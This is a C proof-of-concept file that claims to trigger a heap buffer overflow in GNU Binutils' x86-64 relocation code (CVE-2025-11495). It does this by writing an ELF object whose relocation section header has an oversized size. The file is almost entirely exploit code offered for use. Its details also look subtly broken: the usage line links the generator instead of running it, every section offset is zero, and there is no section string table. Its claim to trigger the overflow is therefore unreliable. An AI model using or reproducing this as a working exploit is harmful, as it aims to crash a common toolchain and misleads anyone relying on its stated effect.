/* CVE-2025-11495 PoC - GNU Binutils elf_x86_64_relocate_section Heap Buffer Overflow
* This PoC demonstrates the vulnerability by creating a malformed ELF64 x86-64
* object file with an oversized relocation section to trigger heap buffer overflow
* in the linker when processing elf_x86_64_relocate_section().
*
* Usage: gcc -c poc.c -o poc.o && ld poc.o -o poc_exploit
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <elf.h>
#include <fcntl.h>
#include <unistd.h>
#define ELF_MAGIC 0x464C457FU /* \x7fELF */
int main(int argc, char *argv[]) {
/* Create a minimal ELF64 x86-64 relocatable object file */
Elf64_Ehdr ehdr;
Elf64_Shdr shdr;
memset(&ehdr, 0, sizeof(ehdr));
ehdr.e_ident[0] = 0x7f;
ehdr.e_ident[1] = 'E';
ehdr.e_ident[2] = 'L';
ehdr.e_ident[3] = 'F';
ehdr.e_ident[4] = ELFCLASS64;
ehdr.e_ident[5] = ELFDATA2LSB;
ehdr.e_ident[6] = EV_CURRENT;
ehdr.e_type = ET_REL; /* Relocatable file */
ehdr.e_machine = EM_X86_64;
ehdr.e_version = EV_CURRENT;
ehdr.e_shoff = sizeof(Elf64_Ehdr);
ehdr.e_ehsize = sizeof(Elf64_Ehdr);
ehdr.e_shentsize = sizeof(Elf64_Shdr);
ehdr.e_shnum = 3; /* NULL section + .text + .rela.text */
ehdr.e_shstrndx = 0;
/* Create section headers with malformed relocation section */
/* The .rela.text section will have sh_size larger than actual data,
triggering heap buffer overflow in elf_x86_64_relocate_section() */
int fd = open("poc.o", O_WRONLY | O_CREAT | O_TRUNC, 0644);
if (fd < 0) {
perror("open");
return 1;
}
write(fd, &ehdr, sizeof(ehdr));
/* NULL section header */
memset(&shdr, 0, sizeof(shdr));
write(fd, &shdr, sizeof(shdr));
/* .text section header */
memset(&shdr, 0, sizeof(shdr));
shdr.sh_type = SHT_PROGBITS;
shdr.sh_flags = SHF_ALLOC | SHF_EXECINSTR;
shdr.sh_size = 16;
write(fd, &shdr, sizeof(shdr));
/* .rela.text section header with intentionally oversized sh_size */
memset(&shdr, 0, sizeof(shdr));
shdr.sh_type = SHT_RELA;
shdr.sh_size = 0xFFFF; /* Oversized to trigger buffer overflow */
shdr.sh_entsize = sizeof(Elf64_Rela);
write(fd, &shdr, sizeof(shdr));
/* Write minimal .text content */
char text_data[16] = {0x90, 0x90, 0x90, 0x90, 0xc3};
write(fd, text_data, 16);
close(fd);
printf("PoC file 'poc.o' created. Run: ld poc.o -o exploit\n");
printf("This will trigger heap buffer overflow in elf_x86_64_relocate_section()\n");
return 0;
}